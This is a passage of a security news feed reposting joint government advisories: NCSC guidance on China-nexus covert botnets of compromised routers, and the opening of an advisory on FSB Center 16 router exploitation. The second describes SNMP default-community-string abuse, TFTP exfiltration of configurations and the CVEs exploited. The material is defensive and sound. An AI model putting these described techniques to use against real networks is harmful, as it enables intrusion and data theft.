<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]></title>
<description><![CDATA[Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compr...]]></description>
<link>https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</guid>
<pubDate>Sat, 25 Jul 2026 08:51:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors</p>
<h2><strong>Executive summary</strong></h2>
<p>Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure</a> Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [<a href="https://www.cisa.gov/#Work1">1</a>] </p>
<p>This CSA is being released by the following authoring and co-sealing agencies: </p>
<ul type="square">
<li>United States National Security Agency (NSA)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#Foot1"><sup>1</sup></a> </li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#Foot2"><sup>2 </sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#Foot3"><sup>3</sup></a> </li>
<li>Estonian Information System Authority (RIA)<a href="https://www.cisa.gov/#Foot4"><sup>4</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#Foot5"><sup>5</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#Foot6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#Foot7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#Foot8"><sup>8 </sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#Foot9"><sup>9</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#Foot10"><sup>10 </sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#Foot11"><sup>11 </sup></a></li>
</ul>
<p>The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.</p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%201%20FSB%20Center%2016%20activity%20and%20recommended%20mitigation%20actions.png?itok=oYxdyna4" width="1024" height="576" alt="Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.">



</div>
      <figcaption class="c-figure__caption">Figure 1: FSB Center 16 activity and recommended mitigation actions</figcaption>
  </figure>
<p>Download the PDF version of this report:</p>
<ul>
<li><a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/0/CSA_IMPROVE_ROUTER_HYGIENE.PDF" target="_blank">Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting</a> (PDF, 816KB)</li>
</ul>
<h2><strong>Cybersecurity industry tracking </strong></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: </p>
<ul type="disc">
<li>Berserk Bear </li>
<li>Energetic Bear</li>
<li>Crouching Yeti </li>
<li>Dragonfly</li>
<li>Ghost Blizzard</li>
<li>Static Tundra</li>
</ul>
<p>Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.</p>
<h2><strong>Targeting details</strong></h2>
<p>Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:</p>
<ul type="disc">
<li>Communications,</li>
<li>Defense Industrial Base,</li>
<li>Energy,</li>
<li>Financial Services,</li>
<li>Government Services and Facilities, especially organizations at the state and local level, and</li>
<li>Healthcare and Public Health.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note: </strong>This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a><a href="https://www.cisa.gov/#Foot12"><sup>12</sup></a> framework, version 19. See <a href="https://www.cisa.gov/#AppA"><strong>Appendix A</strong></a> for tables of the activity mapped to MITRE ATT&amp;CK tactics and techniques. This advisory also uses MITRE DEFEND<sup>TM</sup> version 1.4.0.</p>
<p>The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a>]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a>] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [<a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>]:</p>
<ul type="disc">
<li>Copy its configuration to a file, often called “config.bkp” or “output.txt” [<a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a>].</li>
<li>Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a>].</li>
</ul>
<p>While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [<a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a>]: </p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2018-0171" target="_blank">CVE-2018-0171</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a><a href="https://www.cisa.gov/#Foot13"><sup>13</sup></a></li>
</ul>
